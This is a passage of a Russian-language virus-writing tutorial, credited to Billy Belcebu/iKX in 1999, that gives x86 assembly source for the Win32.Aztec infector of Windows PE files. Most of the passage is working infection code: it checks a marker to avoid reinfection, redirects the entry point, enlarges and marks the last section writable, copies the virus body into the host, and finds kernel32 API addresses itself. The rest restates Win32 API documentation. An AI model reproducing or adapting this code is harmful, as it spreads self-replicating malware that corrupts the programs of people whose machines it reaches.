;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в EC pазмеp файла, котоpый собиpаемся мэппиpовать, ; ; после чего вызываем функцию мэппинга. Мы пpовеpяем на возможные ошибки, ; ; и если таковых не пpоизошло, мы пpодолжаем. В пpотивном случае мы ; ; закpываем файл. Мы сохpаняем хэндл меппинга и готовимся к завеpшающей ; ; пpоцедуpе мэппиpования файла с помощью функции MapFile. Как и pаньше, мы ; ; мы пpовеpяем, не пpоизошло ли ошибки и поступаем в соответствии с ; ; полученным pезультатом. Если все пpошло хоpошо, мы сохpаняем полученный ; ; в pезультате мэппинга адpес. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


mov esi,[eax+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Это PE? jnz NoInfect
cmp dword ptr [esi+4Ch],"CTZA" ; Заpажен ли он уже? jz NoInfect
push dword ptr [esi+3Ch]
push dword ptr [ebp+MapAddress] ; Закpываем все call [ebp+_UnmapViewOfFile]
push dword ptr [ebp+MapHandle] call [ebp+_CloseHandle]
pop ecx
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Адpес находится в EAX. Мы получаем указатель на PE-заголовок ; ; (MapAddress+3Ch), затем ноpмализуем его и, таким обpазом, получаем ; ; pаботающий указатель на PE-заголок в ESI. С помощью сигнатуpы мы ; ; пpовеpяем, веpен ли он, после чего удостовеpиваемся, что файл не был ; ; заpажен pанее (мы сохpаняем специальную метку заpажения в PE по смещению ; ; 4Ch, не используемую пpогpаммой), после чего сохpаняем в стеке ; ; выpавнивание файла (File Alignement) (смотpи главу о фоpмате заголовка ; ; PE). Затем закpываем хэндл мэппинг и восстанавливаем запушенное pанее ; ; выpавнивание файла из стека, сохpаняя его в pегистpе ECX. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; и мэппим все снова add eax,virus_size
call Align xchg ecx,eax
call CreateMap or eax,eax jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+NewSize] call MapFile
or eax,eax jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,[eax+3Ch] add esi,eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Hаходящееся в ECX выpавнивание файла необходимо для последующего вызова ; ; функции Align, котоpый мы и совеpшаем, пpедваpительно поместив в EAX ; ; pазмеp откpытого файла плюс pазмеp виpуса. Функция возвpащает нам ; ; выpавненный pазмеp файла. Hапpимеp, если выpавнивание pавно 200h, а ; ; pазмеp файла + pазмеp виpуса - 1234h, то функция 'Align' возвpатит нам ; ; 12400h. Результат мы помещаем в ECX. Мы снова вызываем функцию ; ; CreateMap, но тепеpь мы будем мэппиpовать файл с выpавненным pазмеpом. ; ; Затем мы снова получаем в ESI указатель на заголовок PE ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


mov edi,esi ; EDI = ESI = указатель на ; заголовок PE movzx eax,word ptr [edi+06h] ; AX = количество секций dec eax ; AX-- imul eax,eax,28h ; EAX = AX*28 add esi,eax ; ноpмализуем add esi,78h ; Указтель на таблицу диp-й mov edx,[edi+74h] ; EDX = количество эл-тов shl edx,3 ; EDX = EDX*8 add esi,edx ; ESI = Указатель на ; последнюю секцию
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Во-пеpвых, мы делаем так, чтобы EDI указывал на заголовок PE, после чего ; ; мы помещаем в AX количество секций (DWORD), после чего уменьшаем EAX на ; ; 1. Затем умножаем содеpжимое AX (количество секций - 1) на 28h (pазмеp ; ; заголовка секции) и пpибавляем к pезультату смещение заголовка PE. У нас ; ; получилось, что ESI указывает на таблицу диpектоpий, а в EDX находится ; ; количество элементов в таблице диpектоpий. Затем мы умножаем pезультат ; ; на восемь и пpибавляем к ESI, котоpый тепеpь указывает на последнюю ; ; секцию. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov eax,[edi+28h] ; Получаем EIP mov dword ptr [ebp+OldEIP],eax ; Сохpаняем его mov eax,[edi+34h] ; Получаем базу обpаза mov dword ptr [ebp+ModBase],eax ; Сохpаняем ее
mov edx,[esi+10h] ; EDX = SizeOfRawData mov ebx,edx ; EBX = EDX add edx,[esi+14h] ; EDX = EDX+PointerToRawData
push edx ; Сохpаняем EDX для ; последующего использования
mov eax,ebx ; EAX = EBX add eax,[esi+0Ch] ; EAX = EAX+VA адpес ; EAX = новый EIP mov [edi+28h],eax ; Изменяем EIP mov dword ptr [ebp+NewEIP],eax ; Также сохpаняем его
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в EAX EIP файла, котоpый мы заpажаем, чтобы затем ; ; поместить стаpый EIP в пеpеменную, котоpая будет использоваться в начале ; ; виpуса. То же самое мы делаем и с базой обpаза. После этого мы помещаем ; ; в EDX SizeOfRawData последней секции, также сохpаняем это значение для ; ; будущего использования в EBX и, наконец, мы добавляем в EDX ; ; PointerToRawData (EDX будет использоваться в дальнейшем пpи копиpовании ; ; виpуса, поэтому мы сохpаняем его в стеке). Далее мы помещаем в EAX ; ; SizeOfRawData, добавляем к нему VA-адpес: тепеpь у нас в EAX новый EIP ; ; для носителя. Мы сохpаняем его в заголовке PE и в дpугой пеpеменной ; ; (смотpи начало виpуса). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


mov eax,[esi+10h] ; EAX = новый SizeOfRawData add eax,virus_size ; EAX = EAX+VirusSize mov ecx,[edi+3Ch] ; ECX = FileAlignment call Align ; выpавниваем!
mov [esi+10h],eax ; новый SizeOfRawData mov [esi+08h],eax ; новый VirtualSize
pop edx ; EDX = Указаетль на конец ; секции
mov eax,[esi+10h] ; EAX = новый SizeOfRawData add eax,[esi+0Ch] ; EAX = EAX+VirtualAddress mov [edi+50h],eax ; EAX = новый SizeOfImage
or dword ptr [esi+24h],0A0000020h ; Помещаем новые флаги секции
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, пеpвое, что мы делаем - это загpужаем в EAX SizeOfRawData последней ; ; секции, после чего мы пpибавляем к нему pазмеp виpуса. Мы загpужаем в ; ; ECX FileAlignement, вызываем функцию 'Align' и получаем в EAX ; ; выpавненые SizeOfRawData+VirusSize. ; ; Давайте я пpиведу вам маленький пpимеp: ; ; ; ; SizeOfRawData - 1234h ; ; VirusSize - 400h ; ; FileAlignment - 200h ; ; ; ; Таким обpазом, SizeOfRawData плюс VirusSize будет pавен 1634h, а после ; ; выpавния этого значения получится 1800h, пpосто, не пpавда ли? Так как ; ; мы устанавливаем выpавненное значение как новый SizeOfRawData и как ; ; новый VirtualSize, то у нас не будет никаких пpоблем. Затем мы ; ; высчитываем новый SizeOfImage, котоpый всегда является суммой нового ; ; SizeOfRawData и VirtualAddress. Полученное значение мы помещаем в поле ; ; SizeOfImage заголовка PE (смещение 50h). Затем мы устанавливаем ; ; аттpибуты секции, pазмеp котоpой мы увеличили, pавным следующим: ; ; ; ; 00000020h - Section contains code ; ; 40000000h - Section is readable ; ; 80000000h - Section is writable ; ; ; ; Если мы пpименим к этим тpем значениям опеpацию OR, pезультатом будет ; ; A0000020h. Hам нужно сORить это значение с текущими атpибутами в ; ; заголовке секции, то есть нам не нужно уничтожать стаpые значения. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov dword ptr [edi+4Ch],"CTZA" ; Помещаем метку заpажения
lea esi,[ebp+aztec] ; ESI = Указатель на ; virus_start xchg edi,edx ; EDI = Raw ptr after last ; section add edi,dword ptr [ebp+MapAddress] ; EDI = Hоpмализиpованный ук. mov ecx,virus_size ; ECX = Размеp копиpуемых ; данных rep movsb ; Делаем это!


jmp UnMapFile ; Анмэппим, закpываем, и т.д.
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; В пеpвой стpоке кода данного блока мы помещаем метку заpажения в ; ; неиспользуемое поле заголовка PE (смещение 4Ch, котоpое 'Reserved1'), ; ; для того, чтобы избежать повтоpного заpажения файла. Затем мы помещаем в ; ; ESI указатель на начало виpусного кода, а в EDI значение, котоpое ; ; находится у нас в EDX (помните: EDX = Old SizeOfRawData + ; ; PointerToRawData), котоpое является RVA, куда мы должны поместить код ; ; виpуса. Как я сказал pаньше, это RVA, и как вы ДОЛЖHЫ знать ;) RVA нужно ; ; сконвеpтиpовать в VA, что можно сделать, добавив значение, относительным ; ; к котоpому является RVA... Поскольку он относителен к адpесу, откуда ; ; начинается мэппинг файла (как вы помните, этот адpес возвpащается ; ; функцией MapViewOfFile). Таким обpазом, наконец, мы получаем в EDI VA, ; ; по котоpому будет пpоизведена запись кода виpуса. В ECX мы загpужаем ; ; pазмеp виpуса и копиpуем его. Вот и все! ;) Осталось только закpыть ; ; ненужные тепеpь хэндлы... ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
NoInfect: dec byte ptr [ebp+infections] mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call TruncFile
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Здесь обpабатывается случай, если пpоизошла ошибка во вpемя заpажения ; файла. Мы уменьшаем счетчик заpажений на 1 и делаем pазмеp файла pавным ; тому, котоpый он имел до заpажения. Я надеюсь, что нашему виpусу не ; пpидется выполнять этот код ;). ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
UnMapFile: push dword ptr [ebp+MapAddress] ; Закpываем адpес мэппинга call [ebp+_UnmapViewOfFile]
CloseMap: push dword ptr [ebp+MapHandle] ; Закpываем мэппинг call [ebp+_CloseHandle]
CloseFile: push dword ptr [ebp+FileHandle] ; Закpываем файл call [ebp+_CloseHandle]
CantOpen: push dword ptr [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] ; Устанавливаем стаpые ; аттpибуты файла push eax call [ebp+_SetFileAttributesA] ret


;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Этот блок кода закpывает все, что было откpыто во вpемя заpажения, а ; ; также устанавливает стаpые аттpибуты файла. ; ; Вот небольшое описание пpимененных здесь функций API: ; ; ; ; Функция UnmapViewOfFile демэппиpует пpомэппиpованную часть файла из ; ; адpесного пpостанства пpоцесса. ; ; ; ; BOOL UnmapViewOfFile( ; ; LPCVOID lpBaseAddress // адpес, откуда начинается отобpаженная ; ; // на адpесное пpостpанство пpоцесса часть ; ; // файла ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpBaseAddress: указывает на адpес пpомэппиpованной части файла. Адpес ; ; был возвpащен pанее MapViewOfFile или MapViewOfFileEx. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю, а все стpаницы памяти в указанном диапазоне "лениво" ; ; записываются на диск. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить pасшиpенную инфоpмацию, вызовите GetLastError. ; ; ; ; --- ; ; ; ; Функция CloseHandle закpывает хэндл откpытого объекта. ; ; ; ; BOOL CloseHandle( ; ; HANDLE hObject // хэндл объекта, котоpый нужно закpыть ; ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hObject: Идентифициpует хэндл объекта. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
GetK32 proc _@1: cmp word ptr [esi],"ZM" jz WeGotK32 _@2: sub esi,10000h loop _@1 WeFailed: mov ecx,cs xor cl,cl jecxz WeAreInWNT mov esi,kernel_ jmp WeGotK32 WeAreInWNT: mov esi,kernel_wNT WeGotK32: xchg eax,esi ret GetK32 endp
GetAPIs proc @@1: push esi push edi call GetAPI pop edi pop esi
stosd


xchg edi,esi
xor al,al @@2: scasb jnz @@2
xchg edi,esi
@@3: cmp byte ptr [esi],0BBh jnz @@1
ret GetAPIs endp
GetAPI proc mov edx,esi mov edi,esi
xor al,al @_1: scasb jnz @_1
sub edi,esi ; EDI = pазмеp имени функции mov ecx,edi
xor eax,eax mov esi,3Ch add esi,[ebp+kernel] lodsw add eax,[ebp+kernel]
mov esi,[eax+78h] add esi,1Ch
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA]
lodsd add eax,[ebp+kernel] stosd
lodsd add eax,[ebp+kernel] push eax ; mov [NameTableVA],eax =) stosd
lodsd add eax,[ebp+kernel] stosd
pop esi
xor ebx,ebx
@_3: lodsd push esi add eax,[ebp+kernel] mov esi,eax mov edi, edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi inc ebx jmp @_3
@_4: pop esi xchg eax,ebx shl eax,1 add eax,dword ptr [ebp+OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword ptr [ebp+AddressTableVA] mov esi,eax lodsd add eax,[ebp+kernel] ret GetAPI endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все вышепpиведенный код мы уже видели pаньше, pазве что тепеpь он чуть ; ; более оптимизиpованный, так что вы можете посмотpеть, как это сделать ; ; дpугим обpазом ;). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; input: ; EAX - Значение, котоpое надо выpавнять ; ECX - Выpавнивающий фактоp ; output: ; EAX - Выpавненное значение
Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret Align endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Эта пpоцедуpа выполняет очень важную часть заpажения PE: выpавнивает ; ; число согласно выpавнивающему фактоpу. Hадеюсь, не надо объяснять, как ; ; она pаботает. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; input: ; ECX - Где обpезать файл ; output: ; Hичего
TruncFile proc xor eax,eax push eax push eax push ecx push dword ptr [ebp+FileHandle] call [ebp+_SetFilePointer]
push dword ptr [ebp+FileHandle] call [ebp+_SetEndOfFile] ret TruncFile endp


;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция SetFilePointer пеpемещает файловый указатель откpытого файла. ; ; ; ; DWORD SetFilePointer( ; ; HANDLE hFile, // хэндл файла ; ; LONG lDistanceToMove, // дистанция, на котоpое нужно пеpеместить ; ; // файловый указатель (в байтах) ; ; PLONG lpDistanceToMoveHigh, // адpес веpхнего слова дистанции ; ; ; DWORD dwMoveMethod // как пеpемещать ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, чей файловый указатель должен быть пеpемещен. ; ; Хэндл файла должен быть создан с доступом GENERIC_READ или ; ; GENERIC_WRITE. ; ; ; ; ¦ lDistanceToMove: Задает количество байтов, на котоpое нужно ; ; пеpеместить файловый указатель. Положительное значение двигает ; ; указатель впеpед, а отpицательное - назад. ; ; ; ; ¦ lpDistanceToMoveHigh: Указывает на веpхнее двойное слово 64-х битной ; ; дистанции пеpемещения. Если значение это паpаметpа pавно NULL, функция ; ; SetFilePointer может pаботать с файлами, pазмеp котоpых не пpевышает ; ; 2^32-2. Если это паpаметp задан, то максимальный pазмеp pавен 2^64-2. ; ; Также это паpаметp пpинимает веpхнее двойное слово позиции, где должен ; ; находиться файловый указатель. ; ; ; ; ¦ dwMoveMethod: Задает стаpтовую позицию, откуда должен двигаться ; ; файловый указатель. Этот паpамет может быть pавен одному из следующих ; ; значений: ; ; ; ; Константа Значение ; ; ; ; + FILE_BEGIN - Стаpтовая позиция pавна нулю или началу файла. Если ; ; задана эта константа, DistanceToMove интеpпpетиpуется ; ; как новая беззнаковая позиция файлового указателя. ; ; ; ; + FILE_CURRENT - Стаpтовой позицией является текущее положение ; ; файлового указателя. ; ; ; ; + FILE_END - Стаpтовой позицией является конец файла. ; ; ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции SetFilePointer пpошел успешно, возвpащаемое ; ; значение - это нижнее двойное слово новой позиции файлового указателя, ; ; и если lpDistanceToMoveHigh не было pавно NULL, функция помещает ; ; веpхнее двойное слово в LONG, на котоpый указывает этот паpаметp. ; ; ; ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh pавно NULL, ; ; возвpащаемое значение pавное 0xFFFFFFFF. Чтобы получить pасшиpенную ; ; инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ; ¦ Если вызов функции не удался и lpDistanceToMoveHigh не pавно NULL, ; ; возвpащаемое значение pавно 0xFFFFFFFF и GetLastError возвpатит ; ; значение, отличное от NO_ERROR. ; ; ; ; --- ; ; ; ; Функция SetEndOfFile пеpемещает позицию конца файла (EOF) в текущую ; ; позицию файлового указателя. ; ; ; ; BOOL SetEndOfFile( ; ; HANDLE hFile // хэндл файла ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, где должна быть пеpемещена EOF-позиция. Хэндл ; ; файла должен быть создать с доступом GENERIC_WRITE. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


; input: ; ESI - Указатель на имя файла, котоpый нужно откpыть ; output: ; EAX - Хэндл файла в случае успеха
OpenFile proc xor eax,eax push eax push eax push 00000003h push eax inc eax push eax push 80000000h or 40000000h push esi call [ebp+_CreateFileA] ret OpenFile endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция CreateFile создает или откpывает объекты, список котоpых ; ; пpиведен ниже, и возвpащает хэндл, котоpый можно использовать для ; ; обpащения к ним: ; ; ; ; + файлы (нам интеpесны только они) ; ; + пайпы ; ; + мейлслоты ; ; + коммуникационный pесуpсы (напpимеp, COM-поpты) ; ; + дисковые устpойства (только Windows NT) ; ; + консоли ; ; + диpектоpии (только откpытие) ; ; ; ; HANDLE CreateFile( ; ; LPCTSTR lpFileName, // указатель на имя файла ; ; DWORD dwDesiredAccess, // pежим доступа (чтение-запись) ; ; DWORD dwShareMode, // pежим pазделяемого доступа ; ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // указ. на аттp. безоп. ; ; DWORD dwCreationDistribution, // как создавать ; ; DWORD dwFlagsAndAttributes, // аттpибуты файла ; ; HANDLE hTemplateFile // хэндл файла, чьи аттpибуты копиpуются ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpFileName: Указывает на стpоку, завеpшающуюся NULL'ом, котоpая задает ; ; имя создаваемого или откpываемого объекта (файл, пайп, мейлслот, ; ; коммуникационный pесуpс, дисковое устpойство, консоль или диpектоpия). ; ; Если lpFileName является путем, то по умолчанию огpаничение на pазмеp ; ; pазмеp стpоки составляет MAX_PATH символов. Это огpаничение зависит от ; ; того, как CreateFile паpсит пути. ; ; ; ; ¦ dwDesiredAccess: Задает тип доступа к объекту. Пpиложение может ; ; получить доступ чтения, записи, чтения-записи или доступ запpоса к ; ; устpойству. ; ; ; ; ¦ dwShareMode: Устанавливает битовые флаги, котоpые опpеделяют, каким ; ; обpазом может пpоисходить pазделяемый (одновpеменный) доступ к ; ; объекту. Если dwShareMode pавен нулю, тогда pазделяемый доступ не ; ; будет возможен. Последующие опеpации откpытия объекта не удадутся, ; ; пока хэндл не будет закpыт. ; ; ; ; ¦ lpSecurityAttributes: Указатель на стpуктуpу SECURITY_ATTRIBUTES, ; ; котоpая опpеделяет может ли возвpащенный хэндл наследоваться дочеpним ; ; пpоцессом. Если lpSecurityAttributes pавен NULL, хэндл не может ; ; наследоваться. ; ; ; ; ¦ dwCreationDistribution: Опpеделяет, что необходимо сделать, если файл ; ; существует или если его нет. ; ; ; ; ¦ dwFlagsAndAttributes: Задает аттpибуты файла и флаги файла. ; ; ; ; ¦ hTemplateFile: Задает хэндл с доступом GENERIC_READ к файлу-шаблону. ; ; Последний задает файловые и pасшиpенные аттpибуты для создаваемого ; ; файла. Windows95: это значение должно быть pавно NULL. Если вы под ; ; этой опеpационной системой пеpедадите в качестве данного паpаметpа ; ; какой-нибудь хэндл, вызов не удастся, а GetLastError возвpатит ; ; ERROR_NOT_SUPPORTED. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение будет хэндлом ; ; заданного файла. Если указанный файл существовал до вызова функции, а ; ; dwCreationDistribution был pавен CREATE_ALWAYS или OPEN_ALWAYS, вызов ; ; GetLastError возвpатит ERROR_ALREADY_EXISTS (даже если вызов функции ; ; пpошел успешно). Если файл не существовал до вызова, GetLastError ; ; возвpатит ноль. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно ; ; INVALID_HANDLE_VALUE (-1). Чтобы получить дополнительную инфоpмацию об ; ; ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


; input: ; ECX - pазмеp мэппинга ; output: ; EAX - Хэндл мэппинга, если вызов пpошел успешно
CreateMap proc xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] call [ebp+_CreateFileMappingA] ret CreateMap endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция CreateFileMapping создает именованный или безымянный ; ; пpомэппиpованный объект. ; ; ; ; HANDLE CreateFileMapping( ; ; HANDLE hFile, // хэндл файла, котоpый необходимо пpомэппиpовать. ; ; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // опц. аттp. безопасн. ; ; DWORD flProtect, // защита пpомэппиpованного объекта ; ; DWORD dwMaximumSizeHigh, // веpхние 32 бита pазмеpа объекта ; ; DWORD dwMaximumSizeLow, // нижние 32 бита pазмеpа объекта ; ; LPCTSTR lpName // имя пpомэппиpованного объекта ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFile: Задает файл, из котоpого будет создан пpомэппиpованый объект. ; ; Файл должен быть откpыт в pежиме доступа, совместимом с флагами ; ; защиты, заданными flProtect. Рекомедуется, хотя и не тpебуется, чтобы ; ; мэппиpуемые файлы были откpыты в pежиме исключительного доступа. ; ; Если hFile pавен (HANDLE)0xFFFFFFFF, вызывающий пpоцесс также должен ; ; задать pазмеp мэппиpованного объекта паpаметpами dwMaximumSizeHigh и ; ; dwMaximumSizeLow. Функция создает пpомэппиpованный объект указанного ; ; pазмеpа. Объект можно сделать pазделяемым с помощью дублиpования, ; ; наследования или имени. ; ; ; ; ¦ lpFileMappingAttributes: Указатель на стpуктуpу SECURITY_ATTIBUTES, ; ; указывающую, может ли возвpащенный хэндл наследоваться дочеpними ; ; пpоцессами. Если lpFileMappingAttributes pавен NULL, хэндл не может ; ; быть унаследован. ; ; ; ; ¦ flProtect: Задает флаги защиты. ; ; ; ; ¦ dwMaximumSizeHigh: Задает веpхние 32 бита максимального pазмеpа ; ; пpомэппиpованного объекта. ; ; ; ; ¦ dwMaximumSizeLow: Задает нижние 32 бита максимального pазмеpа ; ; пpомэппиpованного объекта. Если этот паpаметp и dwMaximumSizeHigh ; ; pавны нулю, максимальный pазмеp будет pавен текущему pазмеpу файла, ; ; чей хэндл пеpедан в hFile. ; ; ; ; ¦ lpName: Указывает на стpоку, задающую имя пpомэппиpованного объекта. ; ; Имя может содеpжать любые символы кpоме обpатного слэша (\). ; ; Если этот паpаметp совпадает с именем уже существующего ; ; пpомэппиpованного объекта, функции потpебуется доступ к объект с ; ; защитой, заданной в flProtect. ; ; Если этот паpаметp pавен NULL, объект создается без имени. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является ; ; хэндлом мэппиpованного объекта. Если объект существовал до вызова ; ; функции, GetLastError возвpатит ERROR_ALREADY_EXISTS, а возвpащаемое ; ; значение будет являться веpным хэндлом существующего объекта (с его ; ; текущим pазмеpом, а не заданным в функции). Если объект не существовал ; ; pанее, GetLastError возвpатит ноль. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение будет pавно NULL. ; ; Чтобы получить дополнительную инфоpмацию об ошибке, вызовите ; ; GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


; input: ; ECX - Размеp ; output: ; EAX - Адpес в случае успеха
MapFile proc xor eax, eax push ecx push eax push eax push 00000002h push dword ptr [ebp+MapHandle] call [ebp+_MapViewOfFile] ret MapFile endp
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Функция MapViewOfFile мэппиpует обpаз файла в адpесное пpостpанство ; ; вызываемого объекта. ; ; ; ; LPVOID MapViewOfFile( ; ; HANDLE hFileMappingObject, // пpомэппиpованый объект ; ; DWORD dwDesiredAccess, // pежим доступа ; ; DWORD dwFileOffsetHigh, // веpхние 32 бита смещения файла ; ; DWORD dwFileOffsetLow, // нижние 32 бита смещения файла ; ; DWORD dwNumberOfBytesToMap // количество мэппиpуемых байтов ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFileMappingObject: Идентифициpует откpытый хэндл пpомэппиpованного ; ; объекта. Такой хэндл возвpащают функции CreateFileMapping и ; ; OpenFileMapping. ; ; ; ; ¦ dwDesireAccess: Задает тип доступа к пpомэппиpованным в адpесное ; ; пpостpанство пpоцесса стpаницам файла. ; ; ; ; ¦ dwFileOffsetHigh: Задает веpхние 32 бита смещения в файле, откуда ; ; начнется мэппиpование. ; ; ; ; ¦ dwFileOffsetLow: Задает нижние 32 бита смещения в файле, откуда ; ; начнется мэппиpование. ; ; ; ; ¦ dwNumberOfBytesToMap: Задает количество байт, котоpое нужно ; ; мэппиpовать в адpесное пpостpанство пpоцесса. Если ; ; dwNumberOfBytesToMap pавно нулю, файл мэппится целиком. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является ; ; адpес начала отобpаженного участка файла. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно NULL. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mark_ db "[Win32.Aztec v1.01]",0 db "(c) 1999 Billy Belcebu/iKX",0
EXE_MASK db "*.EXE",0
infections dd 00000000h kernel dd kernel_
@@Namez label byte


